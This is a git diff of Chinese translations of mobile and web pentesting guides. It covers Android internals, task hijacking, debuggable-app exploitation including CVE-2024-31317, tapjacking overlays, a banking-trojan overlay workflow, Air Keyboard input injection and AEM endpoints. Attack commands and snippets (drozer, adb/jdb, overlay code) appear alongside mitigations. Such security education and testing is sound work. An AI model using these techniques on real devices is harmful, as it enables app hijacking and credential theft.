请注意，**并不总是需要root设备**才能安装自定义固件。**一些制造商允许**以良好文档化和安全的方式解锁其引导加载程序。
### Implications
@ -74,7 +74,7 @@
- APK内容（不详尽）
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc：包含预编译的资源，如二进制XML。
- resources.arsc：包含预编译资源，如二进制XML。
- res/xml/files_paths.xml
- META-INF/
- 这里是证书所在的位置！
@ -87,13 +87,13 @@
- `x86`：X86处理器的代码
- `mips`：仅用于MIPS处理器的代码
- assets/
- 存储应用程序所需的杂项文件，可能包括额外的本地库或DEX文件，有时被恶意软件作者用来隐藏额外代码。
- 存储应用程序所需的杂项文件，可能包括额外的本地库或DEX文件，有时被恶意软件作者用来隐藏额外的代码。
- res/
- 包含未编译到resources.arsc中的资源。
### **Dalvik & Smali**
在Android开发中，**Java或Kotlin**用于创建应用程序。与桌面应用程序使用JVM不同，Android将此代码编译为**Dalvik可执行文件（DEX字节码）**。早期，Dalvik虚拟机处理此字节码，但现在，Android Runtime（ART）在较新版本的Android中接管。
在Android开发中，**Java或Kotlin**用于创建应用程序。与桌面应用程序使用JVM不同，Android将此代码编译为**Dalvik可执行（DEX）字节码**。早期，Dalvik虚拟机处理此字节码，但现在，Android Runtime（ART）在较新版本的Android中接管。
对于逆向工程，**Smali**变得至关重要。它是DEX字节码的人类可读版本，像汇编语言一样通过将源代码转换为字节码指令。Smali和baksmali在此上下文中指代汇编和反汇编工具。
@ -118,9 +118,9 @@ Intents是Android应用程序在其组件之间或与其他应用程序之间通
Intent Filters由类别、操作和数据过滤器组成，并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定Intents。
Android组件（活动/服务/内容提供者/广播接收器）的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**，则该组件被视为公共的，可以与其他应用程序交互；如果在清单中声明了Intent Filter，则也是如此。然而，开发人员可以明确将这些组件保持私有，确保它们不会与其他应用程序意外交互。这是通过在其清单定义中将**`exported`**属性设置为**`false`**来实现的。
Android组件（活动/服务/内容提供者/广播接收器）的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**，则该组件被视为公共的，可以与其他应用程序交互；如果在清单中声明了Intent Filter，则也是如此。然而，开发人员可以明确保持这些组件私有，确保它们不会与其他应用程序意外交互。这是通过在其清单定义中将**`exported`**属性设置为**`false`**来实现的。
此外，开发人员还有选择进一步保护对这些组件的访问的选项，要求特定权限。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件，从而增加了安全性和对谁可以与之交互的控制。
此外，开发人员还有选项通过要求特定权限进一步保护对这些组件的访问。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件，从而增加了安全性和对谁可以与之交互的控制。
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -132,9 +132,9 @@ Android组件（活动/服务/内容提供者/广播接收器）的一个关键
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
**Action** 是之前声明的意图的 **ACTION_SEND**，而 **Extra** 是一个 mailto **Uri**（Extra 是意图所期望的额外信息）。
该**Action**为先前声明的意图的**ACTION_SEND**，**Extra**为mailto **Uri**（Extra是意图所期望的额外信息）。
这个意图应该在清单中声明，如以下示例所示：
此意图应在清单中声明，如以下示例所示：
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -145,11 +145,11 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
“Intent 解析”过程决定了哪个应用程序应该接收每个消息。这个过程考虑了 **priority attribute**，可以在 **intent-filter 声明**中设置，**优先级更高的将被选中**。这个优先级可以设置在 -1000 到 1000 之间，应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**，将出现一个“选择器”窗口，以便 **用户可以决定**。
“Intent 解析”过程决定了哪个应用程序应该接收每个消息。这个过程考虑了 **priority attribute**，可以在 **intent-filter declaration** 中设置，**优先级更高的将被选择**。这个优先级可以设置在 -1000 到 1000 之间，应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **conflict**，将出现一个“选择器”窗口，以便 **用户可以决定**。
### 显式 Intent
### Explicit Intents
显式 intent 指定了它所针对的类名：
一个显式 intent 指定了它所针对的类名：
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -161,7 +161,7 @@ context.startService(intent);
```
### Pending Intents
这些允许其他应用程序**代表您的应用程序采取行动**，使用您的应用程序的身份和权限。构造 Pending Intent 时，应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**（没有声明哪个意图可以调用它），则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外，**如果没有指定操作**，恶意应用程序将能够**代表受害者执行任何操作**。
这些允许其他应用程序**代表您的应用程序采取行动**，使用您的应用程序的身份和权限。构造 Pending Intent 时，应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**（没有声明哪个意图可以调用它），则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外，**如果未指定操作**，恶意应用程序将能够**代表受害者执行任何操作**。
### Broadcast Intents
@ -169,14 +169,14 @@ context.startService(intent);
或者，在发送广播时也可以**指定权限**。接收应用程序需要具有该权限。
广播有**两种类型**：**正常**（异步）和**有序**（同步）。**顺序**基于**接收器**元素中的**配置优先级**。**每个应用程序可以处理、转发或丢弃广播。**
广播有**两种类型**：**普通**（异步）和**有序**（同步）。**顺序**基于**接收器**元素中的**配置优先级**。**每个应用程序可以处理、转发或丢弃广播。**
可以使用 `Context` 类中的函数 `sendBroadcast(intent, receiverPermission)` 来**发送**一个**广播**。\
您还可以使用**`LocalBroadCastManager`**中的**`sendBroadcast`**函数，确保**消息永远不会离开应用程序**。使用此方法，您甚至不需要导出接收器组件。
### Sticky Broadcasts
这种广播**可以在发送后很长时间内访问**。\
这种广播**可以在发送后很久被访问**。\
这些在 API 级别 21 中被弃用，建议**不要使用它们**。\
**它们允许任何应用程序嗅探数据，还可以修改数据。**
@ -276,7 +276,7 @@ super.onCreate();
[Services](https://developer.android.com/guide/components/services) 是 **后台操作**，能够在没有用户界面的情况下执行任务。这些任务即使在用户切换到不同应用程序时也可以继续运行，使得服务对于 **长时间运行的操作** 至关重要。
服务是多功能的；它们可以通过多种方式启动，其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务，其 `onStart` 方法就会启动并持续运行，直到显式调用 `stopService` 方法。或者，如果服务的角色依赖于活动的客户端连接，则使用 `bindService` 方法将客户端绑定到服务，激活 `onBind` 方法以进行数据传递。
服务是多功能的；它们可以通过多种方式启动，其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务，其 `onStart` 方法就会启动并持续运行，直到显式调用 `stopService` 方法。或者，如果服务的角色依赖于活动的客户端连接，则使用 `bindService` 方法将客户端绑定到服务，激活 `onBind` 方法进行数据传递。
服务的一个有趣应用包括后台音乐播放或网络数据获取，而不妨碍用户与应用的交互。此外，服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为，需要在 Android Manifest 文件中进行显式配置：
```xml
@ -294,7 +294,7 @@ super.onCreate();
### 内容提供者
**内容提供者**对于**在应用之间共享结构化数据**至关重要，强调实施**权限**以确保数据安全的重要性。它们允许应用访问来自各种来源的数据，包括数据库、文件系统或网络。特定权限，如**`readPermission`**和**`writePermission`**，对于控制访问至关重要。此外，可以通过应用的Manifest中的**`grantUriPermission`**设置授予临时访问，利用`path`、`pathPrefix`和`pathPattern`等属性进行详细的访问控制。
**内容提供者**对于应用之间**共享结构化数据**至关重要，强调实施**权限**以确保数据安全的重要性。它们允许应用访问来自各种来源的数据，包括数据库、文件系统或网络。特定权限，如**`readPermission`**和**`writePermission`**，对于控制访问至关重要。此外，可以通过应用的Manifest中的**`grantUriPermission`**设置临时访问，利用`path`、`pathPrefix`和`pathPattern`等属性进行详细的访问控制。
输入验证至关重要，以防止漏洞，例如SQL注入。内容提供者支持基本操作：`insert()`、`update()`、`delete()`和`query()`，促进应用之间的数据操作和共享。
@ -332,7 +332,7 @@ Android 提供了两种主要的 WebView 类型：
一个关键点是 WebView 浏览器 **不与设备的主浏览器共享 cookies**。
在加载内容时，可以使用 `loadUrl`、`loadData` 和 `loadDataWithBaseURL` 等方法。确保这些 URL 或文件是 **安全使用** 的至关重要。安全设置可以通过 `WebSettings` 类进行管理。例如，通过 `setJavaScriptEnabled(false)` 禁用 JavaScript 可以防止 XSS 攻击。
在加载内容时，可以使用 `loadUrl`、`loadData` 和 `loadDataWithBaseURL` 等方法。确保这些 URL 或文件是 **安全的** 至关重要。安全设置可以通过 `WebSettings` 类进行管理。例如，通过 `setJavaScriptEnabled(false)` 禁用 JavaScript 可以防止 XSS 攻击。
JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互，从 Android 4.2 开始，要求方法使用 `@JavascriptInterface` 标记以确保安全。
@ -346,7 +346,7 @@ JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互，从 Android 4.2
### **应用程序的数字签名**
- **数字签名** 是 Android 应用的必要条件，确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别，并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**，以防止未经授权的访问，并确保应用在传送到设备时保持未被篡改。
- **数字签名** 是 Android 应用的必需，确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别，并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**，以防止未经授权的访问，并确保应用在传送到设备时保持未被篡改。
### **应用验证以增强安全性**
@ -451,12 +451,12 @@ throw new SecurityException("uid " + uid + " rejected");
/* privileged code */
}
```
缺乏这种逻辑或特权 UID 的白名单（例如 `uid == 1000 /*system*/`）是一个 **漏洞指标**。
缺乏这种逻辑或特权 UID 的白名单（例如 `uid == 1000 /*system*/`）是一个**漏洞指标**。
案例研究 – *MediaTek* `startMonitorProcessWithUid()`（事务 **8**）在没有任何权限门的情况下完全执行了 Netlink 消息，允许一个无特权的应用与内核的 Netfilter 模块交互并向系统日志发送垃圾信息。
案例研究 – *MediaTek* `startMonitorProcessWithUid()`（事务**8**）在没有任何权限门的情况下完全执行 Netlink 消息，允许一个无特权的应用与内核的 Netfilter 模块交互并向系统日志发送垃圾信息。
### 7. 自动化评估
加速 Binder 侦察的工具 / 脚本：
加速 Binder 侦察的工具/脚本：
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – 以每个服务节点的形式暴露 `/dev/binderfs`
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – 遍历 binder 表并打印 ACL
* Frida 快捷方式：`Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`

10
src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md
View File

@ -19,7 +19,7 @@
## 任务亲和力攻击
`taskAffinity` 告诉 Android 一个 `Activity` *更倾向* 于属于哪个任务。当两个活动共享相同的亲和力时，**Android 允许将它们合并到同一个后栈中，即使它们来自不同的 APK**。
`taskAffinity` 告诉 Android 一个 `Activity` *更倾向于* 属于哪个任务。当两个活动共享相同的亲和力时，**Android 允许将它们合并到同一个后栈中，即使它们来自不同的 APK**。
如果攻击者能够将恶意活动放置在该栈的 **根** 位置，每次受害者打开合法应用程序时，恶意 UI 将是用户看到的第一件事——非常适合网络钓鱼或滥用权限请求。
@ -40,7 +40,7 @@ android:launchMode="singleTask" >
</activity>
```
2. 恶意应用程序启动一次，以便任务（具有伪造的亲和力）存在于最近的任务中。
3. 当用户稍后打开真实应用程序时，Android 发现已经存在一个 **根亲和力与包匹配** 的任务，并将该任务带到前台。
3. 当用户稍后打开真实应用程序时，Android 发现已经有一个任务，其 **根亲和力与包匹配**，并将该任务带到前台。
4. 攻击者的 UI 首先显示。
### 默认亲和力（无 `singleTask`）变体 – 来电显示案例研究
@ -105,7 +105,7 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
```
一个根亲和力等于受害者包但其顶部活动属于 *不同* 包的任务是一个红旗。
3. 按照上述描述制作一个恶意应用程序，或使用 **[Drozer](https://github.com/WithSecureLabs/drozer)**：
3. 按照上述描述制作恶意应用程序，或使用 **[Drozer](https://github.com/WithSecureLabs/drozer)**：
```bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
@ -118,10 +118,10 @@ run app.activity.info com.victim
开发者应：
* 在 `<application>` 级别显式设置 `android:taskAffinity=""`（推荐） **或** 为每个活动提供唯一的、私有的亲和力。
* 在 `<application>` 级别明确设置 `android:taskAffinity=""`（推荐） **或** 为每个活动提供唯一的、私有的亲和力。
* 对于高度敏感的屏幕，将上述内容与 `android:launchMode="singleInstance"` 或现代 [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) 保护结合使用。
* 升级应用的 `targetSdkVersion` 并强制执行 **Android 11** 行为更改，默认情况下任务不跨包共享。
* 目标 **Android 12 (API 31) 或更高版本**，以便强制要求 `android:exported` 属性，迫使开发者审核每个外部可达组件。
* 目标 **Android 12 (API 31) 或更高版本**，以便强制开发者审核每个外部可达组件的强制 `android:exported` 属性。
* 考虑运行时自我防御：定期查询 `ActivityTaskManager` 以确保您的顶部活动的包名与您自己的匹配。
---

54
src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md
View File

@ -15,31 +15,31 @@
1. **反编译APK：**
- 使用APK-GUI工具反编译APK。
- 在_android-manifest_文件中插入`android:debuggable="true"`以启用调试模式。
- 在_android-manifest_文件中插入 `android:debuggable="true"` 以启用调试模式。
- 重新编译、签名并zipalign修改后的应用程序。
2. **安装修改后的应用程序：**
- 使用命令：`adb install <application_name>`。
- 使用命令： `adb install <application_name>`。
3. **检索包名：**
- 执行`adb shell pm list packages –3`以列出第三方应用程序并找到包名。
- 执行 `adb shell pm list packages –3` 列出第三方应用程序并找到包名。
4. **设置应用以等待调试器连接：**
4. **设置应用程序以等待调试器连接：**
- 命令：`adb shell am setup-debug-app –w <package_name>`。
- **注意：** 每次启动应用程序之前必须运行此命令，以确保它等待调试器。
- 为了持久性，使用`adb shell am setup-debug-app –w ––persistent <package_name>`。
- 要移除所有标志，使用`adb shell am clear-debug-app <package_name>`。
- 命令： `adb shell am setup-debug-app –w <package_name>`。
- **注意：** 此命令必须在每次启动应用程序之前运行，以确保它等待调试器。
- 为了持久性，使用 `adb shell am setup-debug-app –w ––persistent <package_name>`。
- 要移除所有标志，使用 `adb shell am clear-debug-app <package_name>`。
5. **在Android Studio中准备调试：**
- 在Android Studio中导航到_File -> Open Profile or APK_。
- 在Android Studio中导航到 _File -> Open Profile or APK_。
- 打开重新编译的APK。
6. **在关键Java文件中设置断点：**
- 在`MainActivity.java`（特别是在`onCreate`方法中）、`b.java`和`ContextWrapper.java`中设置断点。
- 在 `MainActivity.java`（特别是在 `onCreate` 方法中）、`b.java` 和 `ContextWrapper.java` 中设置断点。
### **绕过检查**
@ -48,14 +48,14 @@
对于可调试检查：
1. **修改标志设置：**
- 在调试器控制台的变量部分，导航到：`this mLoadedAPK -> mApplicationInfo -> flags = 814267974`。
- **注意：** `flags = 814267974`的二进制表示为`11000011100111011110`，表示“Flag_debuggable”处于活动状态。
- 在调试器控制台的变量部分，导航到： `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`。
- **注意：** `flags = 814267974` 的二进制表示为 `11000011100111011110`，表示“Flag_debuggable”处于活动状态。
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
这些步骤共同确保应用程序可以被调试，并且可以使用调试器绕过某些安全检查，从而便于对应用程序行为进行更深入的分析或修改。
步骤2涉及将标志值更改为814267972，其二进制表示为110000101101000000100010100。
第2步涉及将标志值更改为814267972，其二进制表示为110000101101000000100010100。
# **利用漏洞**
@ -63,34 +63,34 @@
## **检查漏洞**
- 使用`apktool`反编译应用程序以访问`AndroidManifest.xml`文件。
- `AndroidManifest.xml`中存在`android_debuggable="true"`表明该应用程序是可调试的，容易受到利用。
- 值得注意的是，`apktool`仅用于检查可调试状态，而不修改任何代码。
- 使用 `apktool` 反编译应用程序以访问 `AndroidManifest.xml` 文件。
- `AndroidManifest.xml` 中存在 `android_debuggable="true"` 表明该应用程序是可调试的，易受利用。
- 值得注意的是，`apktool` 仅用于检查可调试状态，而不修改任何代码。
## **准备设置**
- 该过程涉及启动模拟器，安装易受攻击的应用程序，并使用`adb jdwp`识别正在监听的Dalvik VM端口。
- 该过程涉及启动模拟器，安装易受攻击的应用程序，并使用 `adb jdwp` 识别正在监听的Dalvik VM端口。
- JDWP（Java Debug Wire Protocol）允许调试在VM中运行的应用程序，通过暴露唯一端口。
- 远程调试需要端口转发，然后将JDB附加到目标应用程序。
## **在运行时注入代码**
- 通过设置断点和控制应用程序流程进行利用。
- 使用`classes`和`methods <class_name>`等命令来揭示应用程序的结构。
- 在`onClick`方法处设置断点，并控制其执行。
- 使用`locals`、`next`和`set`命令检查和修改局部变量，特别是将“Try Again”消息更改为“Hacked”。
- 使用`run`命令执行修改后的代码，成功实时更改应用程序的输出。
- 使用 `classes` 和 `methods <class_name>` 等命令来揭示应用程序的结构。
- 在 `onClick` 方法处设置断点，并控制其执行。
- 使用 `locals`、`next` 和 `set` 命令检查和修改局部变量，特别是将“Try Again”消息更改为“Hacked”。
- 使用 `run` 命令执行修改后的代码，成功实时更改应用程序的输出。
这个例子演示了如何操纵可调试应用程序的行为，突显了更复杂的利用潜力，例如在应用程序上下文中获得设备的shell访问权限。
---
# 2024 – 将**任何**应用程序转变为可调试进程（CVE-2024-31317）
# 2024 – 将 **任何** 应用程序转变为可调试进程 (CVE-2024-31317)
即使目标APK未随`android:debuggable`标志发布，最近的研究表明，可以通过滥用Zygote解析命令行参数的方式，强制**任意应用程序**以`DEBUG_ENABLE_JDWP`运行时标志启动。
即使目标APK没有随 `android:debuggable` 标志一起发布，最近的研究表明，可以通过滥用Zygote解析命令行参数的方式，强制 **任意应用程序** 以 `DEBUG_ENABLE_JDWP` 运行时标志启动。
* **漏洞：** 通过Zygote的命令套接字提供的`--runtime-flags`的验证不当，允许能够访问`system_server`的攻击者（例如通过拥有`WRITE_SECURE_SETTINGS`权限的特权`adb` shell）注入额外参数。当`system_server`重放构造的命令时，受害者应用程序作为_可调试_进程被分叉，并且有一个JDWP线程在监听。该问题被追踪为**CVE-2024-31317**，并在2024年6月的Android安全公告中修复。
* **影响：** 对**任何**应用程序（包括特权应用程序如`com.android.settings`）的私有数据目录的完全读/写访问、令牌盗窃、MDM绕过，以及在许多情况下，通过滥用现在可调试进程的导出IPC端点直接进行特权升级的路径。
* **漏洞：** 通过Zygote的命令套接字提供的 `--runtime-flags` 的不当验证，允许能够访问 `system_server` 的攻击者（例如通过拥有 `WRITE_SECURE_SETTINGS` 权限的特权 `adb` shell）注入额外参数。当构造的命令被 `system_server` 重放时，受害者应用程序作为 _可调试_ 进程被分叉，并且有一个JDWP线程在监听。该问题被追踪为 **CVE-2024-31317**，并在2024年6月的Android安全公告中修复。
* **影响：** 对 **任何** 应用程序（包括特权应用程序如 `com.android.settings`）的私有数据目录的完全读/写访问、令牌窃取、MDM绕过，以及在许多情况下通过滥用现在可调试进程的导出IPC端点直接提升特权的路径。
* **受影响版本：** Android 9至14，直到2024年6月的补丁级别。
## 快速PoC
@ -107,12 +107,12 @@ adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
```
> 第一步中构造的值使解析器脱离“快速路径”，并附加了第二个合成命令，其中 `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) 被接受，就好像是由框架提供的。一旦应用程序被生成，JDWP 套接字被打开，常规的动态调试技巧（方法替换、变量修补、实时 Frida 注入等）是可能的 **而无需修改 APK 或设备启动映像**。
> 第一步中构造的值使解析器脱离“快速路径”，并附加了第二个合成命令，其中 `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) 被接受，就好像是由框架提供的。一旦应用程序被生成，JDWP 套接字被打开，常规动态调试技巧（方法替换、变量修补、实时 Frida 注入等）在 **不修改 APK 或设备启动映像** 的情况下是可能的。
## 检测与缓解
* 修补到 **2024-06-01**（或更高）安全级别 – Google 加固了 `ZygoteCommandBuffer`，以便后续命令无法以这种方式被走私。
* 限制生产设备上的 `WRITE_SECURE_SETTINGS` / `shell` 访问。该漏洞需要此权限，通常仅由 ADB 或 OEM 特权应用持有。
* 限制生产设备上的 `WRITE_SECURE_SETTINGS` / `shell` 访问。该漏洞需要此权限，通常只有 ADB 或 OEM 特权应用程序才能拥有。
* 在 EMM/MDM 管理的设备上，强制执行 `ro.debuggable=0` 并通过 `adb disable-verifier` 拒绝 shell 访问。
---

12
src/mobile-pentesting/android-app-pentesting/tapjacking.md
View File

@ -39,7 +39,7 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
最新的 **Android 应用程序** 执行 Tapjacking 攻击（+ 在被攻击应用程序的导出活动之前调用）可以在以下位置找到: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。
最新的 **Android 应用程序** 执行 Tapjacking 攻击（+ 在被攻击应用程序的导出活动之前调用）可以在此找到: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)。
请遵循 **README 指示使用它**。
@ -50,13 +50,13 @@ android:filterTouchesWhenObscured="true">
### Qark
> [!CAUTION]
> 看起来这个项目现在不再维护，这个功能也不再正常工作
> 看起来这个项目现在不再维护，这个功能不再正常工作
你可以使用 [**qark**](https://github.com/linkedin/qark) 和 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 参数来创建一个恶意应用程序，以测试可能的 **Tapjacking** 漏洞。\
缓解措施相对简单，因为开发者可以选择在视图被其他视图覆盖时不接收触摸事件。使用 [Android 开发者参考](https://developer.android.com/reference/android/view/View#security):
缓解措施相对简单，因为开发者可以选择在视图被另一个视图覆盖时不接收触摸事件。使用 [Android 开发者参考](https://developer.android.com/reference/android/view/View#security):
> 有时，应用程序能够验证某个操作是在用户的充分了解和同意下进行的，这一点至关重要，例如授予权限请求、进行购买或点击广告。不幸的是，恶意应用程序可能会试图欺骗用户在不知情的情况下执行这些操作，通过掩盖视图的预期目的。作为补救措施，框架提供了一种触摸过滤机制，可以用来提高提供敏感功能访问的视图的安全性。
> 有时，应用程序必须能够验证某个操作是在用户的完全知情和同意下执行的，例如授予权限请求、进行购买或点击广告。不幸的是，恶意应用程序可能会试图欺骗用户在不知情的情况下执行这些操作，通过掩盖视图的预期目的。作为补救措施，框架提供了一种触摸过滤机制，可以用来提高提供敏感功能访问的视图的安全性。
>
> 要启用触摸过滤，请调用 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) 或将 android:filterTouchesWhenObscured 布局属性设置为 true。当启用时，框架将丢弃在视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此，当吐司、对话框或其他窗口出现在视图的窗口上方时，视图将不会接收到触摸。
@ -87,8 +87,8 @@ wm.addView(phishingView, lp);
```
### 银行木马的典型工作流程
* 查询已安装的应用程序 (`QUERY_ALL_PACKAGES`)，以确定当前打开的是哪个银行/钱包应用。
* 从 C2 下载一个完美模仿该特定应用的 **HTML/JS 覆盖模板**（徽标、颜色、国际化字符串…）。
* 显示覆盖，收集凭据/密码/PIN/图案。
* 从 C2 下载一个完美模仿该特定应用的 **HTML/JS 覆盖模板**（徽标、颜色、国际化字符串等）。
* 显示覆盖，收集凭据/PIN/图案。
* 使用 **无障碍 API** (`performGlobalAction`, `GestureDescription`) 在后台自动进行转账。
### 检测与缓解

20
src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md
View File

@ -6,13 +6,13 @@
iOS 版本的商业 **“Air Keyboard”** 应用程序 (App Store ID 6463187929) 暴露了一个本地网络服务，该服务 **接受无任何身份验证或来源验证的按键帧**。根据安装的版本，该服务为：
* **≤ 1.0.4** – 原始 TCP 监听器在 **port 8888** 上，期待一个 2 字节长度的头部，后跟 *device-id* 和 ASCII 有效负载。
* **≥ 1.0.5 (2025年6月)** – **WebSocket** 监听器在 *同一* 端口 (**8888**) 上，解析 **JSON** 键，例如 `{"type":1,"text":"…"}`。
* **≤ 1.0.4** – 原始 TCP 监听器在 **port 8888** 上，期待一个 2 字节长度的头部，后跟 *device-id* 和 ASCII 负载。
* **≥ 1.0.5 (June 2025)** – **WebSocket** 监听器在 *同一* 端口 (**8888**) 上，解析 **JSON** 键，例如 `{"type":1,"text":"…"}`。
因此，任何在同一 Wi-Fi / 子网中的设备都可以 **向受害者的手机注入任意键盘输入，实现完全的远程交互劫持**。
一个配套的 Android 版本在 **port 55535** 上监听。它执行一个弱 AES-ECB 握手，但构造的垃圾数据仍会导致 **OpenSSL 内部未处理的异常**，崩溃后台服务 (**DoS**)。
一个配套的 Android 版本监听 **port 55535**。它执行一个弱 AES-ECB 握手，但构造的垃圾数据仍会导致 **OpenSSL 内部未处理的异常**，崩溃后台服务 (**DoS**)。
> 该漏洞在撰写时 **仍未修补（2025年7月）**，该应用程序仍可在 App Store 中获取。
> 该漏洞在撰写时 **仍未修补（July 2025）**，该应用程序仍可在 App Store 中获取。
---
@ -45,11 +45,11 @@ ls -l /proc/<PID>/cmdline # map PID → package name
[device_id (1 byte)]
[payload ASCII keystrokes]
```
声明的 *length* 包括 `device_id` 字节 **但不包括** 两字节的头部本身。
声明的 *length* 包括 `device_id` 字节 **但不** 包括两个字节的头部本身。
### 2.2 当前版本 (≥ 1.0.5) – JSON over WebSocket
### 2.2 当前 (≥ 1.0.5) – JSON over WebSocket
版本 1.0.5 在保持端口号不变的情况下默默迁移到 WebSockets。一个最小的按键看起来像是：
版本 1.0.5 在保持端口号不变的情况下默默迁移到 WebSockets。一个最小的按键看起来像：
```json
{
"type": 1, // 1 = insert text, 2 = special key
@ -142,14 +142,14 @@ Air Keyboard **并不是一个孤立的案例**。其他移动“远程键盘/
* 将监听器绑定到 **`127.0.0.1`**，并在需要远程控制时通过 **mTLS** 或 **Noise XX** 隧道。
* 在入职时 **派生每个设备的秘密**（例如，二维码或配对 PIN），并在处理输入之前强制 *双向* 身份验证。
* 采用 **Apple Network Framework**，使用 *NWListener* + TLS，而不是原始套接字。
* 在解密或解码帧时实现 **长度前缀的合理性检查** 和结构化异常处理。
* 在解密或解码帧时实施 **长度前缀的合理性检查** 和结构化异常处理。
蓝队/红队快速胜利：
* **网络侦查：** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` 或 Wireshark 过滤器 `tcp.port == 8888`。
* **运行时检查：** Frida 脚本钩住 `socket()`/`NWConnection` 列出意外的监听器。
* **iOS 应用隐私报告（设置 ▸ 隐私与安全 ▸ 应用隐私报告）** 突出显示与 LAN 地址联系的应用 – 有助于发现恶意服务。
* **移动 EDR** 可以为端口 8888 上明文 TCP 有效载荷中的 JSON 键 `"selectionStart"`、`"selectionEnd"` 添加简单的 Yara-L 规则。
* **移动 EDR** 可以为端口 8888 上明文 TCP 有效负载中的 JSON 键 `"selectionStart"`、`"selectionEnd"` 添加简单的 Yara-L 规则。
---
@ -168,6 +168,6 @@ echo -n \"$p → \"; cat /proc/$p/cmdline; done"
## 参考文献
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 远程输入注入](https://www.exploit-db.com/exploits/52333)
- [Mobile-Hacker Blog (2025年7月17日) – Air Keyboard iOS App中的远程输入注入漏洞仍未修补](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [Mobile-Hacker 博客 (2025年7月17日) – Air Keyboard iOS App 中的远程输入注入漏洞仍未修补](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
{{#include ../../banners/hacktricks-training.md}}

16
src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md
View File

@ -5,7 +5,7 @@
> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) 是一个企业级内容管理系统，运行在 Apache Sling/Felix (OSGi) 和 Java 内容库 (JCR) 之上。
> 从攻击者的角度来看，AEM 实例经常暴露危险的开发端点、弱 Dispatcher 规则、默认凭据以及每季度修补的众多 CVE。
下面的检查清单专注于 **外部可达（无认证）攻击面**，在真实的渗透测试中不断出现（2022-2025）。
下面的检查清单专注于 **外部可访问的 (unauth) 攻击面**，在真实的渗透测试中不断出现 (2022-2025)。
---
@ -27,15 +27,15 @@ X-Vary: Accept-Encoding
路径 | 获取内容 | 备注
---- | ------------- | -----
`/.json`, `/.1.json` | 通过 **DefaultGetServlet** 获取 JCR 节点 | 通常被阻止，但 *Dispatcher bypass*（见下文）有效。
`/.json`, `/.1.json` | 通过 **DefaultGetServlet** 获取 JCR 节点 | 通常被阻止，但 *Dispatcher 绕过*（见下文）有效。
`/bin/querybuilder.json?path=/` | QueryBuilder API | 页面树、内部路径、用户名泄露。
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix 控制台 | 默认403；如果暴露且找到凭据 ⇒ bundle-upload RCE。
`/crx/packmgr/index.jsp` | 包管理器 | 允许认证的内容包 → JSP 负载上传。
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix 控制台 | 默认 403；如果暴露且找到凭据 ⇒ bundle-upload RCE。
